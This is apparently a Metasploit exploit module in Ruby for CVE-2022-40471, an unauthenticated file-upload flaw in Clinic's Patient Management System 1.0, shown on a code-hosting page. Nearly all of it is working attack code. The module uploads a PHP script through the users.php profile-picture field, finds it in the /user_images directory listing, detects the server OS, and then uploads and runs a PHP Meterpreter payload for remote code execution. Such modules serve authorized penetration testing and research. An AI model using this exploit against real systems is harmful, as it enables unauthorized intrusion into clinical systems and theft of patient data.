CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb
Views: 15981
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::PhpEXE
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
17
'Description' => %q{
18
This module exploits an unauthenticated file upload vulnerability in Clinic's
19
Patient Management System 1.0. An attacker can upload a PHP web shell and execute
20
it by leveraging directory listing enabled on the `/pms/user_images` directory.
21
},
22
'Author' => [
23
'Aaryan Golatkar', # Metasploit Module Developer
24
'Oğulcan Hami Gül', # Vulnerability discovery
25
],
26
'License' => MSF_LICENSE,
27
'Platform' => 'php',
28
'Arch' => ARCH_PHP,
29
'Privileged' => false,
30
'Targets' => [
31
['Clinic Patient Management System 1.0', {}]
32
],
33
'DefaultTarget' => 0,
34
'References' => [
35
['EDB', '51779'],
36
['CVE', '2022-40471'],
37
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
38
['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
39
],
40
'DisclosureDate' => '2022-10-31',
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'Reliability' => [REPEATABLE_SESSION],
44
'SideEffects' => [ARTIFACTS_ON_DISK]
45
}
46
)
47
)
48
49
register_options([
50
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
51
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
52
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
53
])
54
end
55
56
def check
57
print_status('Checking if target is vulnerable...')
58
59
# Step 1: Retrieve PHPSESSID
60
vprint_status('Fetching PHPSESSID from the server...')
61
res_session = send_request_cgi({
62
'uri' => normalize_uri(target_uri.path, 'users.php'),
63
'method' => 'GET'
64
})
65
66
unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
67
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
68
return CheckCode::Unknown
69
end
70
71
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
72
if phpsessid.nil?
73
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
74
return CheckCode::Unknown
75
else
76
phpsessid = phpsessid[1]
77
vprint_good("Obtained PHPSESSID: #{phpsessid}")
78
end
79
80
# Step 2: Attempt File Upload
81
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
82
dummy_content = Rex::Text.rand_text_alphanumeric(20)
83
dummy_name = Rex::Text.rand_text_alphanumeric(6)
84
post_data = Rex::MIME::Message.new
85
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
86
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
87
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
88
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
89
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
90
91
vprint_status("Uploading dummy file #{dummy_filename}...")
92
res_upload = send_request_cgi({
93
'uri' => normalize_uri(target_uri.path, 'users.php'),
94
'method' => 'POST',
95
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
96
'data' => post_data.to_s,
97
'cookie' => "PHPSESSID=#{phpsessid}"
98
})
99
100
unless res_upload && res_upload.code == 302
101
print_error('File upload attempt failed. Target may not be vulnerable.')
102
return CheckCode::Safe
103
end
104
vprint_good('Dummy file uploaded successfully.')
105
106
# Step 3: Verify File in Directory Listing
107
vprint_status('Verifying uploaded file in /pms/user_images...')
108
res_listing = send_request_cgi({
109
'uri' => normalize_uri(target_uri.path, 'user_images/'),
110
'method' => 'GET',
111
'cookie' => "PHPSESSID=#{phpsessid}"
112
})
113
114
if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
115
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
116
CheckCode::Vulnerable
117
else
118
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
119
CheckCode::Unknown
120
end
121
end
122
123
def upload_shell
124
random_user = Rex::Text.rand_text_alphanumeric(8)
125
random_password = Rex::Text.rand_text_alphanumeric(12)
126
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
127
detection_filename = "#{detection_basename}.php"
128
129
# Step 1: Detect the OS
130
detection_script = <<~PHP
131
<?php
132
echo PHP_OS . "\\n";
133
?>
134
PHP
135
136
vprint_status("Uploading OS detection script as #{detection_filename}...")
137
post_data = Rex::MIME::Message.new
138
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
139
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
140
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
141
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
142
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
143
144
res = send_request_cgi({
145
'uri' => normalize_uri(target_uri.path, 'users.php'),
146
'method' => 'POST',
147
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
148
'data' => post_data.to_s
149
})
150
151
fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
152
vprint_good('OS detection script uploaded successfully!')
153
154
# Step 2: Retrieve the actual uploaded filename
155
vprint_status('Retrieving directory listing to identify detection script...')
156
sleep datastore['LISTING_DELAY']
157
158
res_listing = send_request_cgi({
159
'uri' => normalize_uri(target_uri.path, 'user_images/'),
160
'method' => 'GET'
161
})
162
163
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
164
165
match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
166
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?
167
168
actual_detection_filename = match[1]
169
vprint_status("Detected script filename: #{actual_detection_filename}")
170
171
# Step 3: Execute the detection script
172
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
173
vprint_status("Executing OS detection script at #{detection_url}...")
174
res = send_request_cgi({
175
'uri' => detection_url,
176
'method' => 'GET'
177
})
178
179
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
180
detected_os = res.body.strip.downcase
181
vprint_status("Detected OS: #{detected_os}")
182
183
# Step 4: Choose payload based on OS
184
if detected_os.include?('win')
185
payload_content = get_write_exec_payload
186
print_status('Target is Windows. Using standard PHP Meterpreter payload.')
187
else
188
payload_content = get_write_exec_payload(unlink_self: true)
189
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
190
end
191
192
# Step 5: Upload the payload
193
random_user = Rex::Text.rand_text_alphanumeric(8)
194
random_password = Rex::Text.rand_text_alphanumeric(12)
195
payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
196
197
vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
198
199
post_data = Rex::MIME::Message.new
200
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
201
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
202
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
203
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
204
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
205
206
res = send_request_cgi({
207
'uri' => normalize_uri(target_uri.path, 'users.php'),
208
'method' => 'POST',
209
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
210
'data' => post_data.to_s
211
})
212
213
fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
214
print_good('Payload uploaded successfully!')
215
216
# Verify the presence of the uploaded file in the directory listing
217
vprint_status('Retrieving directory listing to confirm the uploaded payload...')
218
sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server
219
220
res_listing = send_request_cgi({
221
'uri' => normalize_uri(target_uri.path, 'user_images/'),
222
'method' => 'GET'
223
})
224
225
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
226
227
# Search for the uploaded filename
228
match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
229
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?
230
231
actual_filename = match[1]
232
vprint_good("Verified payload presence: #{actual_filename}")
233
register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
234
actual_filename
235
end
236
237
def exploit
238
# Upload the shell and retrieve its filename
239
uploaded_filename = upload_shell
240
241
# Construct the URL for the uploaded shell
242
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
243
print_status("Executing the uploaded shell at #{shell_url}...")
244
245
# Execute the uploaded shell
246
send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
247
end
248
end
249
250